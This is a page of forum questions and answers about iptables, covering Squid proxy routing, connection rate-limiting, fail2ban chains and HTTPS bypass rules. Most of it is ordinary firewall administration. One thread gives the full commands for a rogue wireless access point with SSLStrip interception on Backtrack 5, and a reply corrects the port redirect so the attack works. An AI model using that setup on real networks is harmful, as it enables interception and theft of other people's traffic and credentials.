So, yes I'm very new to IPtables (and Squid). I'm moving a proxy from a Windows based installation to a CentOS-based one. My configuration is the following:
-------------
//|Squid proxy|
// -------------
-------- ---------------- ---------- -------------
|Modem |--|Router/Gateway|--| Switch |--| HTTP/FTP server |
-------- ---------------- ---------- -------------
\ ----------
\ | User 1 |
----------
:
:
The Squid proxy has two NICs, eth0 (LAN) and eth1 (WAN/internet). I want to just use Squid in the old-fashioned way, i.e. not as "transparent" proxy, and I'd like it to do reverse proxying also for the FTP and HTTP server - these should be reachable from the internet.
Squid is listening on the default port 3128 and I would like to define the IPtables correctly so that routing is going to be correct. I guess the easiest way to route all trafic is by IPtables. I've looked into this a lot, and found the reply by dgabad: Squid+iptables: how do i allow https to pass-through and bypassing Squid?
In short, it's driving me nuts that I'm much in doubt about what rules I should set, but I added the following rules:
iptables -A INPUT -j ACCEPT -m state --state NEW,ESTABLISHED,RELATED -i intern -p tcp --dport 3128
iptables -A OUTPUT -j ACCEPT -m state --state NEW,ESTABLISHED,RELATED -o extern -p tcp --dport 80
iptables -A INPUT -j ACCEPT -m state --state ESTABLISHED,RELATED -i extern -p tcp --sport 80
iptables -A OUTPUT -j ACCEPT -m --state ESTABLISHED,RELATED -o intern -p tcp --sport 80
(intern=eth0, extern=eth1)
My interpretation is that the first rule forwards everything TCP from eth0 to port 3128, the second one forwards anything outgoing to eth1 at port 80. The third rule opens for incoming port 80 trafic on eth1.
My questions are:
- What exactly is rule 4 for?
- Am I missing something in order to accomplish what I want? I suppose pre-routing isn't necessary with non-transparent proxies. Postrouting?
Any help in accomplishing this is much appreciated.
Related
We are using Suse Linux Enterprise Server 12. We need to block concurrent IP Addresses which is hitting our web server for more thatn 50 times per second and block that ip address for 10 minutes. Also it should distinguish attacker and genuine traffic and block attacker's IP forever. We have currently blocked using iptables , below is the rule.
iptables -I INPUT -p tcp --dport 443 -i eth0 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 443 -i eth0 -m state --state NEW -m recent --update --seconds 1 --hitcount 50 -j DROP
It will just block the IPAddress which exceeds 50 connections but wont blacklist the IPAddress. Please let us know if we have a script that will match all the scenarios which is metioned above. Please Help.
I tested this and it works really nice. If the behavior is detected, the IP is put into hold-down for 10 minutes and logged. You can verify it's operation by watching these files. /proc/net/xt_recent/NICE, /proc/net/xt_recent/NAUGHTY. You need to build a script to parse the log for bad IP's and commit them to a file that is loaded into iptables on startup if you want to blacklist permanently. That concept is already clear so no need for me to include it.
#flush and clear
iptables -F -t nat
iptables -F
iptables -X
#this is where naughty kids go
iptables -N GETCAUGHT
#you got added to the naughty list
iptables -A GETCAUGHT -m recent --name NAUGHTY --set #everyone here is bad
iptables -A GETCAUGHT -j LOG --log-prefix "iwasbad: " --log-level 4 #and it goes on your permanent record
#if you are on the NAUGHTY list you get a lump of coal
iptables -A INPUT -i eth0 -m recent --name NAUGHTY --rcheck --seconds 600 -j DROP #check everyone at the door
#though everyone starts out on the NICE list
iptables -A INPUT -i eth0 -p tcp --dport 443 -m conntrack --ctstate NEW -m recent --name NICE --set #you seem nice
#but if you GETCAUGHT doing this you are naughty
iptables -A INPUT -i eth0 -p tcp --dport 443 -m conntrack --ctstate NEW -m recent --name NICE --seconds 1 --hitcount 50 --update -j GETCAUGHT #that wasn't nice
I have three boxes: a Linux client, a OpenWRT router, and a Squid server. I'm trying to get the client (which is connected to the router) web traffic to go through the proxy server without any client configuration.
Using this iptables rule on the router seems to make the client traffic go to the proxy just fine (I can see the request in the access.log):
iptables -t nat -A PREROUTING -i br-lan -p tcp --dport 80 -j DNAT --to $PROXY_IP:3128
But the traffic doesn't seem to make it back to the client. I get this error on the client's web browser:
The requested URL could not be retrieved. Invalid URL
It almost looks like the hostname is missing by the time it get's back to the client. Am I missing an iptables rule? On the router or on the proxy server? Or do I need set a route?
My end goal is to have dansguardian running on the proxy server. The router is not powerful enough to run the filter and that is why I have a separate server for that.
Got it to work!
The only iptables rule I needed on the router was:
iptables -t nat -A PREROUTING -i br-lan -p tcp --dport 80 -j DNAT --to $PROXY_IP:8080
And the rules I needed on the squid/dansguardian server was:
iptables -t nat -A PREROUTING -i tun0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A OUTPUT -p tcp --dport 80 -m owner --uid-owner proxy -j ACCEPT
iptables -t nat -A OUTPUT -p tcp --dport 3128 -m owner --uid-owner proxy -j ACCEPT
iptables -t nat -A OUTPUT -p tcp --dport 3128 -j REDIRECT --to-ports 8080
After creating those rules, I was able to see the client's traffic in the /var/log/squid3/access.log and /var/log/dansguardian/access.log logs and all of the client's traffic was coming back through just fine (with the web content filtering working perfectly).
I'm using fail2ban to block failed login attempts on my server. The block is performed using IP tables with the following configuration:
actionstart = iptables -N fail2ban
iptables -A fail2ban -j RETURN
iptables -I <chain> -p tcp -m multiport --dports <port> -j fail2ban
actionstop = iptables -D <chain> -p tcp -m multiport --dports <port> -j fail2ban
iptables -F fail2ban
iptables -X fail2ban
actionban = iptables -I fail2ban 1 -s <ip> -j DROP
actionunban = iptables -D fail2ban -s <ip> -j DROP
What I'm concerned about is rules processing performance. The above rules are in stateful mode and I've been wondering if stateless mode would make the processing faster. To make things clear, I'm blocking the intruder IP address on a TCP port (e.g., 22 or 25).
I read somewhere that for TCP connection specialy, adding the ESTABLISHED,RELATED states would be better. But since each IP refers to a different connection, does it make sense to apply these states?
UPDATE:
Here is a sample iptables -L:
Chain INPUT (policy ACCEPT 399 packets, 36043 bytes)
pkts bytes target prot opt in out source destination
39 4230 fail2ban tcp -- * * 0.0.0.0/0 0.0.0.0/0 multiport dports 22,25,80,99,100,101
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 282 packets, 39686 bytes)
pkts bytes target prot opt in out source destination
Chain fail2ban (1 references)
pkts bytes target prot opt in out source destination
0 0 DROP all -- * * 192.168.0.1 0.0.0.0/0
0 0 DROP all -- * * 192.168.0.2 0.0.0.0/0
0 0 DROP all -- * * 192.168.0.3 0.0.0.0/0
0 0 DROP all -- * * 192.168.0.4 0.0.0.0/0
39 4230 RETURN all -- * * 0.0.0.0/0 0.0.0.0/0
Despite what many performance apologists claim, IPtables CAN have significant overhead, but it won't be noticeable until you get some substantial traffic. Now how you do the tables, and which extensions you call, will be determining factor on CPU overhead per packet.
As for stateless vs statefull, yes the performance difference can be immense, but again it's at a very high throughput. In addition as you may have read, it is much more complexity to manage a stateless firewall. It should really only be done if the IPtable impact is measurable.
BUT good practice should always be followed, and IMO that includes the least amount of overhead without adding lots of complexity.
Now as for your situation, fail2ban is only considering a segment of your iptables overall, but the only thing that I would recommend looking at preventively is this part.
-p tcp -m multiport --dports
Using the multiport extension does have more overhead, except when doing so would make a solid reduction of rules. Since you are only doing 2, I would list them separately, to avoid the multiport extension... or better yet just one by range, if you don't care about blocking 23 and 24.
-p tcp -m tcp --dport 22:25
As for established tracking, yes you can use it with fail2ban, although it does have some considerations. To get the most impact, you'd want to place fail2ban chain below ESTABLISHED,RELATED. However this will allow already established connections, considering you'd need an already authenticated user, it seems reasonable enough.
This is a mini example of the tables I use for my servers, with some example rules, I commented it for you,
*raw
:PREROUTING ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
## Stateless on Loopback
## Remove everything before #filter if iptables chokes on #raw
-A OUTPUT -o lo -j NOTRACK
COMMIT
*filter
## Default Chains
:INPUT ACCEPT [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
## Proto Chains
:FWINPUT-TCP - [0:0]
:FWINPUT-UDP - [0:0]
:FWINPUT-ICMP - [0:0]
## FAIL2BAN Chain
:fail2ban - [0:0]
## Accept Established
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
## Accept Loopback
-A INPUT -i lo -j ACCEPT
## Seperate Proto
-A INPUT -p tcp -g FWINPUT-TCP
-A INPUT -p udp -g FWINPUT-UDP
-A INPUT -p icmp -g FWINPUT-ICMP
## Reject Anything Non-TCP/UDP/ICMP
-A INPUT -j REJECT --reject-with icmp-proto-unreachable
## TCP Rules
-A FWINPUT-TCP -p tcp -m tcp --dport 80 -j ACCEPT
-A FWINPUT-TCP -p tcp -m tcp --dport 443 -j ACCEPT
## fail2ban Check
-A FWINPUT-TCP -p tcp -m tcp --dport 22:25 -g fail2ban
## fail2ban Return
-A FWINPUT-TCP -p tcp -m tcp --dport 22 -j ACCEPT
-A FWINPUT-TCP -p tcp -m tcp --dport 25 -j ACCEPT
## TCP-Reset Ident
-A FWINPUT-TCP -p tcp -m tcp --dport 113 -j REJECT --reject-with tcp-reset
## Reject Any Other TCP Traffic
-A FWINPUT-TCP -j REJECT --reject-with icmp-port-unreachable
## UDP Rules
-A FWINPUT-UDP -p udp --dport 5353 -d 224.0.0.251 -j ACCEPT
## Reject Any Other UDP Traffic
-A FWINPUT-UDP -j REJECT --reject-with icmp-port-unreachable
## ICMP Rules
-A FWINPUT-ICMP -p icmp -m icmp --icmp-type 8 -m limit --limit 5/s -j ACCEPT
-A FWINPUT-ICMP -p icmp -m icmp --icmp-type 3 -j ACCEPT
-A FWINPUT-ICMP -p icmp -m icmp --icmp-type 4 -j ACCEPT
-A FWINPUT-ICMP -p icmp -m icmp --icmp-type 11 -j ACCEPT
-A FWINPUT-ICMP -p icmp -m icmp --icmp-type 12 -j ACCEPT
## Reject Any Other ICMP Types
-A FWINPUT-ICMP -j REJECT --reject-with icmp-host-prohibited
## fail2ban Inserted Rules
-A fail2ban -j RETURN
COMMIT
I would just blank out the action start and action stop, and let fail2ban just add the blocked IP rules when running. This would a pinch more manual considerations, like if you wanted to start using fail2ban to block more stuff... but if it's a set type of thing your trying to work on, then it shouldn't be a problem.
... On my home system, and not on servers, I usually just set an iptables limit and call it good enough.
I am having trouble with SSLStrip in a MITM Setup with Backtrack 5. I am using an external wireless card to broadcast the wireless signal, and routing through an Ethernet. I am successfully viewing the packets in Wireshark, however I would like to view SSL data using SSLStrip. These are the preliminary commands I use to set up MITM.
airmon-ng start wlan1
airbase-ng --essid mitm 11 mon0
--new Terminal--
brctl addbr mitm-bridge
brctl addif mitm-bridge eth0
brctl addif mitm-bridge at0
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
ifconfig mitm-bridge 192.168.0.199 up
echo 1 > /proc/sys/net/ipv4/ip_forward
At this point, I can view packet data in WireShark. I follow these steps to set up SSLStrip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 666
cd /pentest/web/sslstrip
sslstrip -l 8080
When I am finished with the session and I open sslstrip.log I do not see any data written to the file. Also, I am unable to access the internet once I do the iptables redirect. Please let me know what you think the problem might be.
Assuming sslstrip and arp poisoning are up and running you have a problem with port redirection.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 666
redirects http traffic to 127.0.0.1 port 666.
cd /pentest/web/sslstrip
sslstrip -l 8080
starts sslstrip listening for incoming traffic on port 8080
U can either change port redirection to 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
or change the listening port to 666
sslstrip -l 666
Basically started with Squid and iptables today (google is your friend). This stuff is going to be the death of me.
I have Squid3 setup on Ubuntu 9.04 server as Transparent Proxy. It works sweetly when i use the proxy-box as my default gateway etc. The iptable rules for this setup was part of the tutorial. :P
I can unfortunately not access https sites (such as Gmail or anything on port 443 basically). This is because Squid dont like what it cannot cache, which in this case is the https traffic.
I would like to add an iptable rule so that i can basically access https sites and use Skype. Basically allow these types of traffic to pass through without going through Squid proxy? (bypassing it so to speak)
Would anyone perhaps know how to do this or have a link to any sources that would assist me in figuring it out?
Thank you.
After actually considering chewing through my own wrists and dreaming of IPs all night long + brute force googling/trying ANYTHING i could get my digital fingers on i managed to put something together that actually works. I dont know the technical reasons why, so if you can provide set explanations please do so! :D
PS: everything in the explanation is done via command line
PS: this is not a final solution, but its a working one in answer to my own question.
Here it is:
Step 1: Had to enable IP Forwarding on the box:
vim /etc/sysctl.conf
//find and uncomment the following
net.ipv4.ip_forward=1
net.ipv4.conf.all.rp_filter=1
Step 2: Add loop back rule (this is more for when all ports are covered, apparently many apps need it?
iptables -I INPUT -i lo -j ACCEPT
Step 3. Add rules for the bypassing of port 443: (eth1 is internet interface and x.x.x.x/eth0 is LAN interface)
iptables -t filter -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -t filter -A FORWARD -i eth0 -p tcp --dport 443 -j ACCEPT
iptables -t nat -A POSTROUTING -o eth1 -j SNAT --to-source x.x.x.x
Step 4. Then finally the rules making Squid transparent:(x.x.x.x is IP of LAN interface)
iptables -t nat -A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j DNAT --to-destination x.x.x.x:3128
iptables -t nat -A PREROUTING -i eth1 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 3128
iptables -t nat -A POSTROUTING -o eth1 -j SNAT --to-source x.x.x.x
That is wrong. Means that every packet TCP/UDP/etc that you send from your intern LAN to Internet will use as SOURCE IP the Private LAN IP (probably 192.178.x.x), instead of the Public IP.
May be that helps you:
PREROUTING == DestinationNAT -> From Internet to Intern LAN
POSTROUTING == SourceNAT -> From Intern LAN to Internet
iptables -t nat -A PREROUTING -i intern -p tcp --dport 80 -j REDIRECT --to-ports 3128
iptables -A INPUT -j ACCEPT -m state --state NEW,ESTABLISHED,RELATED -i intern -p tcp --dport 3128
iptables -A OUTPUT -j ACCEPT -m state --state NEW,ESTABLISHED,RELATED -o extern -p tcp --dport 80
iptables -A INPUT -j ACCEPT -m state --state ESTABLISHED,RELATED -i extern -p tcp --sport 80
iptables -A OUTPUT -j ACCEPT -m --state ESTABLISHED,RELATED -o intern -p tcp --sport 80
To bypasss 443 would be enough with:
iptables -I FORWARD -p tcp --dport 443 -j ACCEPT
And if your system/squid/firewall is also the router from your network to internet, do not forget:
iptables -t nat -A POSTROUTING -o extern -j SNAT --to-source Public_external_IP
For those explanations...
step #1 sets up the machine as a router. This is required for any Linux machine that is going to accept or forward IP traffic destined for machines other than itself. Without this the lowest levels of the networking stack will reject the traffic and NAT will not even get a chance to do its thing.
step #2 is not relevant to the problem being asked about. It may or may not be needed for the router operations unrelated to the proxying.
step #3 lets the machine relay port 443 normally as a router. The POSTROUTING rule could be made better by using MASQUERADE instead of SNAT.
step #4 both lines do the same thing in different ways. The first line may lead you to trouble in future if you dont know what the differences are between DNAT and REDIRECT. For simplicity use REDIRECT only.
Reading http://wiki.squid-cache.org/ConfigExamples/Intercept/LinuxRedirect could have saved you a lot of trouble.
There is also a critical mangle table rule missing from your setup which is explained on that wiki page.